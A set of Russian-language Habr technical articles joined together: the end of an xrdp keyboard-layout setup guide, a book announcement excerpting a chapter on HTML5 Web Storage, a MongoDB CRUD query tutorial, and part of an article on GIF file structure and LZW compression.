sudo nano /etc/xrdp/xrdp_keyboard.ini
```
В конец конфигурационного файла нужно добавить следующие строки:
```
[rdp_keyboard_ru]
keyboard_type=4
keyboard_type=7
keyboard_subtype=1
model=pc105
options=grp:alt_shift_toggle
rdp_layouts=default_rdp_layouts
layouts_map=layouts_map_ru
[layouts_map_ru]
rdp_layout_us=us,ru
rdp_layout_ru=us,ru
```
Остается сохранить файл и перезапустить Xrdp:
```
sudo systemctl restart xrdp
```
Как видите, поднять сервер RDP на линуксовом VPS несложно, а в [предыдущей статье](https://habr.com/ru/company/ruvds/blog/510860/) мы уже разобрали настройку VNC. Помимо этих технологий, есть еще один интересный вариант: использующая модифицированный протокол NX 3 система X2Go. С ней мы разберемся в следующей публикации.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=krest&utm_content=rdpubuntu#order) | https://habr.com/ru/post/512878/ | null | ru | null |
# HTML5. Для профессионалов. 2-е изд
Все привет. У нас вышло 2-е издание книги [Гоше](http://www.jdgauchat.com/) «HTML5. Для профессионалов».
Прототип: [HTML5 for Masterminds, 2nd Edition: How to take advantage of HTML5 to create amazing websites and revolutionary applicat](http://www.amazon.com/HTML5-Masterminds-2nd-revolutionary-applications/dp/1481138502/ref=sr_1_fkmr0_1?ie=UTF8&qid=1424769030&sr=8-1-fkmr0&keywords=HTML5+for+Masterminds%2C+2nd+Edition%3A+How+to+take+advantage+of+HTML5+to+create+amazing+websites+and+revolutionary+applicat)
Книга поможет вам получить необходимые знания об этом стандарте и освоить сложные темы, включенные в спецификации HTML5. Вы узнаете, как организовать ваши документы с HTML5, как оформлять их стилями с помощью CSS3 и как работать с самыми продвинутыми JavaScript API. Данное издание не является введением в HTML5, а представляет собой полноценный учебный курс, который научит вас создавать с помощью HTML5 современные сайты и веб-приложения. Каждая глава посвящена определенной ключевой теме HTML5, также рассмотрены сложные вопросы HTML5, CSS3 и JavaScript. Книга содержит множество примеров программного кода, благодаря чему вы сможете легко усвоить и применить знания по каждому тегу, стилю и функции, включенным в спецификации HTML5. В новое издание книги добавлено описание всех рассматриваемых языков и технологий программирования, а также включено девять новых глав.
**14 Глава книги: ''API веб-хранилища''*****Две системы хранения***
Первоначально Сеть рассматривалась как средство отображения статической информации. Обработкой данных занялись позже: сначала с помощью серверных приложений, а затем также с использованием малопроизводительных сценариев и встраиваемых модулей на пользовательских компьютерах. Тем не менее суть процессов оставалась неизменной: данные подготавливались на сервере и только после этого отображались на компьютере пользователя. Тяжелая работа почти всегда выполнялась на серверной стороне, так как система не располагала возможностями для того, чтобы задействовать ресурсы клиентского компьютера.
Благодаря спецификации HTML5 ситуация уравновесилась. Ориентируясь на особенности мобильных устройств, появление облачных вычислений и необходимость стандартизировать технологии и инновации, внедряемые в течение многих лет посредством встраиваемых модулей, разработчики HTML5 объединили в одной спецификации всю функциональность, позволяющую выполнять полноценные приложения на стороне клиента.
Одна из самых востребованных возможностей любого приложения — хранение данных и обращение к ним по мере необходимости, но у веб-приложений не было эффективного механизма, позволяющего сделать это. Для хранения небольших порций информации на клиентской стороне использовались файлы cookie, однако их природа такова, что они поддерживают запись лишь коротких строк и применять их удобно далеко не во всех ситуациях.
API Web Storage (веб-хранилище) — это, по сути, следующая ступень развития файлов cookie. Этот API позволяет записывать данные на жесткий диск пользователя и обращаться к ним так же, как это делается в настольных приложениях. Процессы сохранения и извлечения данных, поддерживаемые этим API, применимы в двух ситуациях: когда информация должна быть доступна только в течение одного сеанса и когда ее необходимо сохранить надолго — до тех пор, пока пользователь сам не удалит ее. Таким образом, для упрощения жизни разработчиков этот API разделили на две части — sessionStorage и localStorage:
* sessionStorage. Это механизм хранения, удерживающий данные только на протяжении сеанса одной страницы. В действительности, в отличие от настоящих сеансов, здесь речь идет об информации, доступ к которой есть только у одного окна или вкладки браузера, причем как только окно или вкладка закрывается, эта информация удаляется. В спецификации используется термин «сеанс», поскольку информация сохраняется даже при обновлении содержимого окна, а также в случае, когда пользователь открывает новую страницу того же веб-сайта;
* localStorage. Этот механизм работает аналогично системам хранения для настольных приложений. Данные записываются навсегда, и приложение, сохранившее их, может обращаться к этой информации в любой момент.
Оба механизма работают через один и тот же интерфейс и предлагают одинаковые методы и свойства. Кроме того, оба механизма завязаны на источник, то есть любая информация в хранилище доступна только через тот веб-сайт, который ее создал. У каждого веб-сайта есть собственное пространство хранилища, которое в зависимости от используемого механизма очищается при закрытии окна или не очищается никогда.
В этом API существует четкое разграничение временных и постоянных данных, благодаря чему становится намного проще конструировать как небольшие приложения, требующие временного хранения всего нескольких строк (например, содержимого корзины в интернет-магазине), так и объемные и сложные приложения, в которых нередко возникает необходимость сохранять на неопределенное время целые документы.
*sessionStorage*
Первая составляющая API, sessionStorage, заменяет собой сеансовые файлы cookie. Файлы cookie, так же как и sessionStorage, сохраняют данные ограниченное время. Однако если файлы cookie привязываются к браузеру, то объекты sessionStorage привязываются к конкретным окнам или вкладкам. Это означает, что к файлам cookie, созданным для определенного сеанса, можно обращаться до тех пор, пока хотя бы одно окно браузера открыто, но данные, создаваемые sessionStorage, доступны только до момента закрытия окна (и обращаться к ним могут только конкретные окно или вкладка).
***Реализация хранения данных***
Поскольку обе системы, sessionStorage и localStorage, работают с одним и тем же интерфейсом, для тестирования примеров кода и экспериментов с API нам будет достаточно одного HTML-документа и простой формы.
*14.1. HTML-документ для API хранения*
```
API веб-хранилища
Keyword:
Value:
Информация недоступна
```
[Оглавление](http://storage.piter.com/upload/contents/978549601397/978549601397_X.pdf)
[Отрывок](http://storage.piter.com/upload/contents/978549601397/978549601397_p.pdf)
Книга на [сайте издательства](http://www.piter.com/collection/programmirovanie-na-html5/product/html5-dlya-professionalov-2-e-izd)
Зарубежный правообладатель не предоставил права на электронную версию. Книга только в бумаге.
Как обычно, для Хаброжителей скидка 25% по купону **HTML5** на книгу и серию [«программирование на HTML5»](http://www.piter.com/collection/programmirovanie-na-html5):
1. [HTML5 и CSS3.Разработка сайтов для любых браузеров и устройств](http://www.piter.com/collection/programmirovanie-na-html5/product/html5-i-css3razrabotka-saytov-dlya-lyubyh-brauzerov-i-ustroystv-2)
Автор: Б. Фрэйн
2. [HTML5. Для профессионалов](http://www.piter.com/collection/programmirovanie-na-html5/product/html5-dlya-professionalov)
Автор: Х. Д. Гоше
3. [HTML5. Рецепты программирования](http://www.piter.com/collection/programmirovanie-na-html5/product/html5-retsepty-programmirovaniya)
Авторы: К. Шмитт, К. Симпсон | https://habr.com/ru/post/251319/ | null | ru | null |
# MongoDb for developers. Неделя 2
Доброе время суток, хабр. Этот топик — продолжение цикла статей, основанных на материалах онлайн курса M101 от 10gen. Поскольку вторая неделя является одной из самых насыщенных, она будет разбита на две статьи.
Сразу уточню — описанное в статье справедливо для mongo версии 2.6. В любом случае рекомендую почитать [офф. документацию](http://docs.mongodb.org/)
а при наличии свободного времени [посмотреть курсы](https://university.mongodb.com/courses)
[Первая статья цикла](http://habrahabr.ru/post/156633/)
В этом посте мы рассмотрим CRUD операции. Примеры даны на js для встроенного шелла и ввиду тривиальности на другие языки как в первой статье примеры не портировались.
Монго предоставляет полный набор методов, для совершения CRUD операций.
Все методы CRUD в монго- драйверах, являются функциями (методами) своих языков программирования, а не средством для создания выражения отдельного языка (привет sql). MongoDb имеет специальный, работающий поверх TCP протокол, обеспечивающий передачу вызовов методов, и возвращение результатов их работы.
Например запросив в шелле
```
db.users.findOne({name:"Alice"})
```
Мы обращаемся к ссылке на объект базы данных, запрашиваем ее атрибут users и вызываем его метод findOne (из интерфейса коллекции), в который передаем объект, составляющий поисковой критерий
*Мы постоянно работаем с объектами и их методами, а не со строками sql.*
Шелл MongoDb представляет собой интерактивный JS интерпретатор, со встроенным драйвером. При входе, нам выводится информация о версии и название текущей базы данных. На эту информацию стоит обращать внимание, чтобы предотвратить действия с не целевой базой, да и за свежестью версии следить — нелишнее. Любую версию шелла, можно использовать с любой версией монго сервера, но некоторый свежие фичи, старой версией шелла могут не поддерживаться.
Так как шелл является интерпретатором, мы можем использовать, для облегчения своей работы, различные валидные js конструкции.
Вот небольшой пример часто используемый на этапе разработки — очищает все коллекции без удаления индексов
```
var list=db.getCollectionNames();
for (var i = 0; i < list.length; i++) {
if (list[i]!="system.indexes") db.getCollection(list[i]).remove();
}
```
Шелл имеет несколько удобных функций, знакомых большинству пользователей linux.
**Arrow Up** / **Arrow down** — листание истории команд
**ctrl+A** / **Home** — переход в начало строки
**ctrl+E** / **End** — переход в конец строки
**Ctrl+B** / **Arrow left** — сместить курсор влево
**ctrl+F** /**Arrow right** -сместить курсор вправо
**Tab** Автокомплит названий функций и имен коллекций.
Чтобы лучше понимать, что происходит при наших запросах — стоит подробнее рассказать овнутреннем представлении данных в Монго.
Монго использует формат BSON (акроним от Binary JSON). С подробной спецификацией, вы можете ознакомится на сайте [bsonspec.org](http://bsonspec.org). При создании запроса, драйвер кодирует объекты запроса (критерии выборки например), в BSON, а при обработке ответа производит обратную операцию.
В зависимости от используемого языка программирования данные мапятся на сущности языка способные их отобразить.
* Js- Object
* Python — списки, словари
* Php — массивы
Главное что мы можем взять такую сущность, и сохранить в базе. Монго использует бинарное представление этих данных.
Формат BSON поддерживает те же типы данных что JSON + плюс несколько типов для внутреннего использования.
Драйверы так или иначе, поддерживают все типы используемые в BSON и данные используемого языка приводятся к одному из поддерживаемых типов. Это стоит учитывать, при работе с языками имеющими ограниченный набор типов.
Все нормальные коллекции имею атрибут \_id — уникальный первичный ключ, про abnormal коллекции мы поговорим несколько позже. Его нельзя изменить — разве что удалив документ и вставив по новой.
Если \_id не был явно задан, при создании объекта, он формируется по довольно хитрому алгоритму, с использованием дополнительно повышающих энтропию величин
`время + идентификатор клиентской машины+ идентификатор процесса создающего объект+ счетчик, глобальный для процессов монго.`
В некоторых случаях удобнее явно определять \_id явно, так например для коллекции хранящей пользовательские данные — в качестве идентификатора можно использовать логин пользователя. Для идентификатора можно использовать любой из поддерживаемых типов данных.
В предыдущей статье мы уже рассматривали создание новых документов в коллекции. Теперь рассмотрим, как забирать их обратно.
Для выборки существует метод find(). В случаях, когда нам нужен лиш один элемент коллекции — удобно использовать findOne().
`findOne(criteria,fields)
**criteria** - документ обозначающий поисковый критерий. По умолчанию пустой документ (которому соответствуют все элементы коллекции).
**fields** - документ задающий, какие поля мы хотим получить, где в качестве значения для ключа - указывается логической значение. По умолчанию - все ключи true`
У второго документа есть одна особенность- поле \_id возвращается всегда, если только явно не было указано что его не нужно возвращать.
Как говорится — лучше один раз увидеть, чем сто раз услышать
```
//Вставим пару документов в новую коллекцию
> db.users.insert({name:"Woody","role":"sheriff",age:"unknown"})
> db.users.insert({name:"Buzz","role":"space ranger",age:"unknown"})
// Проведем запрос, использую критерий по полю name. Т.к второй аргумент опущен - нам вернется все содержимое документа
> db.users.findOne({name:"Woody"})
{
"_id" : ObjectId("509ffa90cc922c3538cd1ce1"),
"name" : "Woody",
"role" : "sheriff",
"age" : "unknown"
}
//Теперь попробуем получить только имя
> db.users.findOne({name:"Woody"}, {name:true})
{ "_id" : ObjectId("509ffa90cc922c3538cd1ce1"), "name" : "Woody" }
// Как видите, мы также получили в результатах, первичный ключ- т.к мы не указали явно, что он нам ненужен
// Теперь запросим только имя и роль, без первичного ключа. Как видите в качестве значения можно использовать не только //булево значение, но и приводимые к нему типы
> db.users.findOne({name:"Woody"},{name:1,role:1,_id:0})
{ "name" : "Woody", "role" : "sheriff" }
>
```
Поработаем с find() и рассмотрим операторы используемые для составления сложный поисковых критериев.
Кстати пока не забыл — если вы получаете большой набор данных, в шелле выводится ограниченная их часть (по дефолту 20) и вы можете ввести it для получения следующей части. Дело в том, что драйвер (и не только в шелле). В ответ на запрос не получает никаких данных. Он получает курсор на них. Курсор хранится на сервере некоторое время (по умолчанию 10 минут), затем удаляется.
***Запрос фактически будет выполнен только тогда, когда мы начнем читать из курсора. Тогда же мы получим данные. До этого никаких действий не происходит.***
Параметры у find() точно такие же, как и у findOne
`find(criteria,fields)`
Мы уже рассмотрели случай поиска по эквивалентности. Для составления более сложных условий ключу указывается документ с методами сравнения и параметрами для них.
$gt — , больше
$gte — больше либо равно
$lt — меньше
$lte — меньше либо равно
Так будет выглядеть запрос в шелле, на выборку всех пользователей старше 20 но моложе 30 лет, с балансом от 100
```
db.users.find({age:{$gt:20,$lt:30},balance:{$gte:100}});
```
Как видите, количество ключей в документе-критерии произвольно.
Операторы неэквивалентного сравнения могут применятся и к строкам
```
db.people.find({name:{$lt:"D"}})
```
Монго ничего не знает о локалях — сравниваются utf коды символов. Важно незабывать, что так как Монго безсхемна — один и тот же ключ в разных документах одной коллекции может содержать данные разных типов. Операции сравнения в Монго типизированы Так если к нашей коллекции добавить документ с name int, поисковый запрос выше не вернет его в результатах поиска. Вообще хранить в одном ключе данные разных типов, хоть и возможно — но не рекомендуется, в виду того что это усложняет выборку.
***Операторы сортировки и сравнения чувстивтельны к регистру
Порядок использования операторов сравнения не важен.***
Монго позволяет создавать запросы основанные не только на значениях хранимых в документе, но и на его структуре и типах данных.
```
db.people.find({hobby:{$exists:true}})
```
$exists — существование элемента документа
Можно создать запрос, основанный на типе определенного элемента документа
$type — проверка эквивалнтности BSON типа элемента заданному
```
db.people.find({name:{$type:2}})
```
$regex — проверка элемента на соответствие заданному PCRE
```
// Вернет все документы поле email в которых оканчивается на nail.ru
db.users.find("email":{$regex:"mail.ru$"}})
```
Подробнее о регэкспах мы поговорим на след неделе, когда будем рассматривать вопросы производительности. Стоит отметить, что ненадо боятся снижения скорости, так например поиск по регекспу ^A транслитерируется движком в запрос по диапазону [A,B)
Посмотрим как можно составить условие ИЛИ
Для объединения нескольких условий с помощью логического ИЛИ, служит префиксный оператор $or
$or:[массив условий]
```
db.users.find({$or:[{age:{$gt:10}},{name:{$regex:"^A"}}]});
```
Стоит отметить что при составлении более сложных запросов в шелле весьма возрастает полезность встроенной подсветки границ элементов.
Для логической конъюнкции используется оператор $and. Он абсолютно идентичен $or по синтаксису и я не вижу смысла останавливатся на нем подробнее. Стоит отметить — что используется этот оператор редко, так как обычно запрос можно выразить проще
#### Работа с массивами
В запросах по массивам монго проявляет полиморфность
```
db.users.find({favorites:"beer"})
```
Если в документе favorites — строка, то она попадет в выборку при эквивалентности, если же favorites массив, то он будет включен в выборку при эквивалентности хотя бы одного из элементов.
Такое поведение является весьма распространенной в монго идиомой.
Монго не проводит рекурсивный перебор массива, просматривается лишь верхний уровень.
Так же существует несколько специфичных операторов для поиска по массивам.
$all — выбирает элеенты содержащие в массиве все перечисленные знаения
```
$db.users.find(favorites:{$all:{"beer","milk"}})
```
$in — аналог сикуэловского оператора IN. Вернет все документы значение выбранного лемента которых перечислен в массиве. Запрос с использованием данного оператора всегда можно заменить запросом с $or
##### Запись с точкой (dot notation)
В предыдущих примерах мы работали с документами содержащими строки, числа и массивы. Пора приступить в кложенным объектам.
Монго поддерживает специальный синтаксис, позволяющий строить запросы по внутренним элементам вложенных документов.
```
db.users.find("email.work":{$regex:"mail.ru$"}})
```
Предназначение dot notation просмотр элементов вложенных документов. Такой синтаксис может использоватся и для доступа к определенному элементу массива
***To be continued ...*** | https://habr.com/ru/post/157617/ | null | ru | null |
# Изображения: форматы и сжатие (2/3)
И снова здравствуйте! После перерыва в месяц [продолжаем](http://habrahabr.ru/company/tradingview/blog/180381/) экскурсию по форматам изображений и алгоритмам сжатия. Где мы остановились? Ах, да, восьмидесятые годы.
TIFF: Собери сам
----------------
На дворе 1986 год. Форматы PCX и TGA начинают обеспечивать зрелищами счастливых обладателей обычных десктопов. Но ведь домашними компьютерами дело не ограничивается, есть ещё предприятия и университеты. А у них уж мощные машины и сканеры, а в среде сканеров… бардак и безобразие. Задача сканера — перевести изображение на бумаги в цифровой формат, а этот формат был у каждого производителя свой.
Представьте на минутку, Вы делаете скан какого-нибудь Важного Чертежа, несете его в типографию, а там говорят, что прочитать его не могут. Придется перегонять его в другой формат, а лучше вообще просто принести фотокопию для надежности. Обидно.
Решением этой проблемы и занялась компания Aldus, в итоге представив формат TIFF. Все сканы теперь были в одном формате, да ещё и «из коробки» могли в одном файле содержать несколько страниц документа. Плюс, вместе с растровыми данными стало возможно можно хранить метаинформацию: название документа, автора, дату сканирования, модель сканера — да почти все, что угодно.
Формат получился настолько расширяемым, что он живет и здравствует и по сей день. А все из-за того, что Aldus переосмыслили само понятие графического формата. Вместо фиксированного пласта информации используются относительно небольшие структуры, из которых можно собрать файл. Известен автор — вставялем структуру, неизвестен — просто удаляем. Использование таких «меток», собственно, и обыгрывалось в самом названии формата: «Tagged Image File Format».
*Оборотной стороной такой расширямости, впрочем, стало непомерное раздувание спецификации. Попытки Aldus (а затем и купивший его Adobe) объять необъятное повлияли на энтузиазм других разработчиков не в лучшую сторону.*
Формат для обмена картинками
----------------------------
Новый формат TIFF, обладая шикарными преимуществами, годился только для печатного дела: первая ревизия предусматривала только черно-белые изображения без полутонов. А в 1987 году уже появились видеокарты VGA с палитрой до умопомрачительных 256 цветов. TGA и PCX (с допиливанием) позволяли хранить пресловутые 256 цветов, но размер файла увеличивался вдвое, а то и больше — простенький RLE на большой палитре работал значительно хуже.
Для оценки масштаба возьмем полноэкранную картинку VGA (320×200@256) в формате PCX — порядка 50 КиБ, плюс-минус. Теперь попробуем передать её при помощи быстрого, на 9600 бод, дайл-ап модема, и получим время загрузки где-то около минуты. Не круто. Примерно так же показалось компании CompuServe, что зарабатывала деньги, предоставляя доступ к своей BBS'ке в солнечном Колумбусе, штат Огайо.
Но как можно выйти из такого положения? Можно по-технарски, вырезать лишние поля, не ставить ненужные, и использовать мощный алгоритм сжатия. Можно использовать гуманитарную смекалку, и что-то похожее на картинку показывать ещё до полной загрузки, и тогда пользователю субъективно будет казаться, что всё грузится быстрее.
Оба эти подхода и объединились в формате GIF («Graphics Interchange Format»). А теперь подробнее.
GIF: Структура
--------------
Чтобы узнать, что умеет GIF и как он устроен, залезем в документацию. Раньше формат был запатентован, но эти патенты истекли уже десяток лет назад, и все хранится в открытом доступе.
### Заголовок
Первые шесть байт файла — заголовок. Он состоит из сигнатуры «`GIF`» и версии: «`87a`» или «`89a`», где 87 и 89 — года, в которых они были разработаны. Версия 89а расширяет 87а и полностью с ней обратно совместима. Спецификация предписывает по возможности использовать 87a, но лично я бы не советовал — браузеры кривовато работают с 87a. В качестве демонстрации немного забегу вперед и покажу фокус:
Что изображено на картинке? Если один квадрат, то у Вас Firefox или Chrome. Если два, то IE. Если три, то Opera (которая ещё на Presto).
### Блок описания логического экрана
Логический экран — это просто прямоугольная область, выделенная под отображение графики, по смыслу что-то вроде [порта просмотра](http://ru.wikipedia.org/wiki/Порт_просмотра). GIF может содержать несколько изображений, и они могут быть меньше по размеру, чем логический экран. Более того, в GIF87a эти изображения не являются кадрами анимации, а скорее слоями.
Иными словами, если нужно нарисовать на весь экран 800×600 посередине котёнка, а в углу цветочек, то можно вместо одного огромного «сведённого» изображения, хранить котёнка и цветочек с их смещениями относительно логического экрана.
*Небольшой дисклеймер. Несмотря на то, что на интуитивном уровне сама гифка (арргх… ладно, «джифка») — это картинка, которая показывается на экране, мы будем придерживаться терминологии, указанной в спецификации: «логический экран» — это размер всей GIF'ки целиком, а «изображение» — это слой/кадр.*
Итак, блок описания логического экрана всегда занимает 7 байт. Первыми идут размеры — два байта на ширину и два байта на высоту (UInt16LE). Получается, максимальный размер — 65535×65535 пикселей. В спецификации не указано, что ширина или высота обязаны быть больше нуля, но осознание этого не дает нам ничего, кроме разве что курьезности.
Тут следет сделать важное замечание: если файл GIF версии 87a, Firefox и Chrome всегда игнорируют это поле, и используют в качестве размера логического экрана размер первого изображения. Opera и IE поступают так же только в случае, если координаты первого изображения нулевые.
**Демо:** 
Файлы идентичны, за исключением версии — слева 87a, справа 89a. В Opera и IE они одинаковые, в Firefox и Chrome нет. Из-за вертикального выравнивания на Хабре это не очень заметно, на размеры этих картинок получаются разными.
Далее следует один байт, содержащий в себе несколько полей. Седьмой бит (старший) указывает, есть ли глобальная палитра, а биты с 0 по 2 определяют её размер (от 21 до 28). Оставшиеся 4 бита за давностью лет смысл потеряли.
Следующее поле — один байт, указывающий на цвет фона в глобальной палитре (если она используется). Этим цветом должны быть залиты все области логического экрана, не занятые ни одним из изображений. В теории. На практике же это требование выполняют только Photoshop и IrfanView. Распространенные браузеры незанятое место оставляют прозрачным. А у Оперы 12 есть интересный бажок: если GIF версии 87a, и в нем содержится более одного изображения, это пустое место заливается чёрным.
Последний байт описания логического экрана содержит информацию о пропорциях пикселей. Браузерами этот параметр игнорирутеся, и все пиксели считаются квадратными.
**Демо:**
Здесь должен быть круг, но вместо этого отображается эллипс. Чтобы Вы не думали, что я обманываю, попробуйте открыть этот файл в фотошопе.
### Глобальная палитра
Если флажок глобальной палитры выставлен в 0, её просто нет. А если есть, то размер всего блока в байтах равен количеству цветов в палитре помножить на три. Принцип заполнения: RGB RGB RGB…, точно так же, как в PCX.
Глобальная палитра применяется для каждого изображения в файле, если у него нет локальной палитры. А если нет ни той, ни другой? Спека по этому поводу говорит «эмм… ну не знаю, разберитесь как-нибудь», и предлагает использовать стандартную палитру устройства, но желательно, чтобы первый цвет в ней был черным, а второй белым. В 2013 году все уже забыли, что такое стандартная палитра устройства, и этот фокус чаще всего не проходит.
**Демо:**
Файл без палитры. В Файрфоксе, Хроме и старых IE видим черный прямоугольник, в Опере — прозрачный. Фотошоп считает, что палитра — 256-цветовой greyscale. А, вот, IE10 и IrfanView следуют рекомендациям спеки, и изображение легко читается.
На этом месте заканчиваются обязательные, фиксированные поля формата, и начинаются опциональные.
### Изображение
Тут хранятся сами растровые данные и их расположение относительно логического экрана. В файле может быть любое количество изображений — от нуля до бесконечности.
Именно от нуля! Спека вполне допускает, что в файле вообще нет изображений. Например, если нужно просто инициализировать глобальную палитру на устройстве. Но нынешние браузеры этих тонкостей не понимают, и считают в таких случаях, что файл «битый».
Изображение начинается с маркера, ASCII-символа «`,`» (запятая). Этот маркер нужен для того, чтобы понять, какая структура сейчас началась: изображение («`,`»), блок расширения («`!`»), или блок конца файла («`;`»).
Далее следует четыре двухбайтовых целых: две координаты положения левого верхнего края изображения относительно логического экрана и ширина/высота самого изображения. По спецификации правый нижний край изображения не должен выходить за пределы логического экрана.
Далее байт с упакованными полями. Старший бит: есть ли у изображения локальная палитра, три младших: какого размера, примерно так же, как и в описании логического экрана. 6-й бит отвечает за порядок сканирования: построчное (прогрессивное) или чересстрочное (интерлейс). Описывать, как выглядит загрузка чересстрочного изображения, думаю, не надо, все тыщу раз это видели, но на всякий случай, вот [шикарная статья с картинками](http://nuwen.net/png.html).
После этого, как и в описании логического экрана, следует непосредственно локальная палитра, если она есть.
*Кстати, раз уж пошла речь, Вы же уже догадались, каким образом на одном логическом экране GIF можно отобразить более 256 цветов?*
Следующий байт — размер кодов LZW. В потоке сжатых данных LZW длина изначального словаря не указывается, и её нужно указывать отдельно. Но к этому мы ещё вернемся.
### Упаковка данных произвольной длины
Потом в изображении идут непосредственно сжатые LZW данные. Но хранятся они не простым шматком данных с указанной длиной, а упаковываются в блоки. (Видимо, чтобы избежать при кодировании произвольного IO и излишнего потребления памяти.) Принцип упаковки: один байт длины блока, n байтов данных, один байт длины блока, n байтов данных, и так далее, пока данные не кончатся. А на окончание данных указывает блок длиной 0.
Например, известную панграмму про шуструю лисицу можно упаковать вот так:
**`\x2B`**`The quick brown fox jumps over the lazy dog`**`\x00`**
А можно и по-другому, потратим на один байт больше, но ошибкой это считаться не будет:
**`\x20`**`The quick brown fox jumps over t`**`\x0B`**`he lazy dog`**`\x00`**
Вообще, можно вообще хоть по одному байту на блок использовать, тогда упакованные данные будут вдвое больше, чем исходные. А из буханки белого (или черного) хлеба можно сделать троллейбус.
### Расширения
Внимательный читатель уже, наверное, заметил что ни в описании изображения, ни в описании логического экрана, пока не было собственно «плюшек» GIF: прозрачности и анимации. Это потому что они были введены в версии 89a в виде блока расширения.
Всего типов блоков расширения четыре: расширение управления графикой, текстовое расширение, комментарий и расширение приложения. Все блоки опциональны, что делает формат GIF89a обратно совместимым с 87a.
#### Расширение управления графикой
Это расширение по сути набор дополнительных полей для изображения, которое следует сразу после него. Фактически, именно оно превращает смутно описанное понятие «изображение» во вполне конкретный «кадр». Из фиксированных полей только два байта-маркера: `0x21`, «это расширение» и `0xF9`, «это расширение управления графикой».
Дальнейшие поля упакованы так же, как и сырые данные изображения — длина блока, n байт, длина блока, n байт. Иное дело, что по спецификации это всегда один блок длиной 4 байта. Зачем вообще надо было разбивать на блоки — даже разбираться не хочется, видимо, так было проще.
Так или иначе, первый из этих четырех байтов — набор битовых полей. Три старших бита зарезервированы. Далее три бита, образуя целое от 0 до 7, указывают на то, что следует сделать с кадром перед тем, как показать следующий. 0: ничего (не определено); 1: ничего (оставить все как есть); 2: очистить экран; 3: вернуть то, что было до этого кадра; значения 4-7 зарезервированы.
Бит 1 — самый интересный с исторической точки зрения. Ждать ли от пльзователя «any key» для того, чтобы показать кадр, следующий за этим. Да-да, на основе GIF можно было сделать не только слайдшоу, но и вполне себе презентацию. Сейчас эту фича фактически не поддерживается.
**Но если Вы все-таки хотите проверить**
Младший бит указывает, считается ли какой-нибудь из цветов палитры прозрачным.
Два следующих байта образуют UInt16, указывающий, сколько сотых секунды нужно подождать перед показом следующего кадра. Таким образом, задержка может быть в интервале от 0 до 655,35 секунд.
Наконец, последний байт — индекс «прозрачного» цвета в палитре (если выше было указано, что он есть).
#### Расширение приложения
Это расширение создано для того, чтобы позволять приложениям записывать в GIF свои проприетарные метаданные. Формат уже знакомый: два байта маркера- сигнатуры, `0x21 0xFF`, остальное блоки с указанием длины перед ними. И опять длина первого блока строго фиксирована: 11 байт, которые идентифицируют приложение. Последующие же блоки могут быть любой длины и содержать что угодно.
Одно такое расширение было придумано браузером Netscape Navigator. Дело в том, что сам формат GIF не предусматривает цикличности анимации, а при помощи проприетарного расширения «`NETSCAPE2.0`» можно указать, сколько раз прокручивать анимацию: от 1 до 65535 раз, или бесконечно.
Сейчас эту конструкцию понимают все браузеры, а если её нет, считается, что анимация не зациклена.
Остальные расширения приложений в целях уменьшения размеров файла можно смело выкашивать.
#### Текстовое расширение
Это расширение нужно для того, чтобы рисовать на логическом экране произвольный текст. Указываем размеры глифов в пикселях, размер текстового поля, положение относительно логического экрана, и вуаля! Можно не просто слайдшоу или презентацию, а вообще визуальную новеллу сделать.
Но увы, реальной поддержки этого расширения нет. В природе этот вид не встречается, из красной книги вычеркнут. А мы с Вами идем дальше.
#### Комментарий
Последнее расширение самое простое. Два байта-маркера `0x21 0xFE`, а далее произвольное содержимое, упакованное в блоки.
### Замыкающий блок
Замыкающий блок («trailer») состоит из одного-единственного байта `0x3B` («`;`»). Он находится в конце файла и означает, что в этом месте, собственно, конец файла. Всё, что находится после него, считается мусором и игнорируется.
Эта конструкция по спецификации является обязательной, не забывайте про нее.
*Фух! Кажется, по структуре всё. Честно сказать, я сам ожидал, что она будет проще. Если вдруг возникли какие-то недопонимания, из-за стиля изложения или перевода терминов, можно ознакомиться с [официальной спецификацией GIF89a](http://www.w3.org/Graphics/GIF/spec-gif89a.txt). Также очень советую программку [GIF opener](http://progland.org/gif_opener.php), ей сто лет в обед, но лучше для низкоуровневого редактирования gif я пока ничего не видел.*
Алгоритм Лемпеля-Зива-Велча
---------------------------
Теперь, когда мы осмотрели окрестности, окнунемся в самое сердце GIF — алгоритм Лемпеля-Зива-Велча, он же LZW. Прежде всего стоит отметить, что этот алгоритм [словарный](http://ru.wikipedia.org/wiki/Метод_сжатия_с_использованием_словаря). Давайте посмотрим, что это значит.
### Сжатие со словарем, простой пример
Словарное сжатие — прямое развитие идеи RLE. В общем и целом принцип такой: ищем повторяющиеся значения и заносим их в словарь, а затем в нужном месте делаем указание на элемент словаря. Таким образом, сжимаются не только одинаковые значения подряд, но и группы разных значений, между которыми может быть определенное расстояние.
Для примера возьмем такую строку:
`АБРАКАДАБРА С ХАБРАХАБРА`
Видно, что она прямо-таки нашпигована повторяющимися «`АБРА`». Выберем какой-нибудь неиспользуемый символ, например, «`1`» и скажем, что любой такой встреченный символ следует заменить на «`АБРА`». В результате получим строку «`1КАД1 С Х1Х1`», вдвое меньшую. А чтобы кто-то кроме нас мог понять, что эта шифровка зачит, нужно не забыть записать сам словарь, т.е., на что именно нужно заменить «`1`». Результатом станет что-то вроде:
**`1=АБРА;`**`1КАД1 С Х1Х1`
Можно пойти чуть дальше, и заменить ещё и «`Х1`» на «`2`»:
**`1=АБРА,2=Х1;`**`1КАД1 С 22`
Хм… вроде бы мы и заменили больше повторяющихся значений, а строка получилась длиннее. Увы, словарь тоже нужно хранить, и чем он больше, тем больше накладные расходы.
Разумеется, с этим пытаются как-то бороться. Например, алгоритм LZ77 формально считается словарным, но в качестве словаря там выступают сами декодированные данные — декодеру дается команда вернуться на n байт назад и скопировать оттуда m байт. Подробнее о LZ77 можно почитать в [этой статье](http://habrahabr.ru/post/141827/) за авторством уважаемого [horror\_x](https://habrahabr.ru/users/horror_x/).
В LZW, «потомке» LZ77, записи словаря также появляются по мере декодирования, но это уже не просто копирование со смещением, а полноценный словарь.
### LZW: общий принцип кодирования
Для примера возьмем ту же самую строку, «`АБРАКАДАБРА С ХАБРАХАБРА`».
Теперь нужно выбрать кодировку этой строки. Использование многобайтовой кодировки сильно усложнит пример, так кто UTF-8 отложим напотом. Прах семибитных кодировок, таких как КОИ-7 Н1 (ГОСТ 13052-74), тревожить не будем. Выберем какую-нибудь восьмибитную, например всеми любимую CP866.
Таким образом, изначальный словарь будет идентичен CP866:
```
00000000
00000001
...
10000000 А
10000001 Б
...
10011111 Я
...
11111111
```
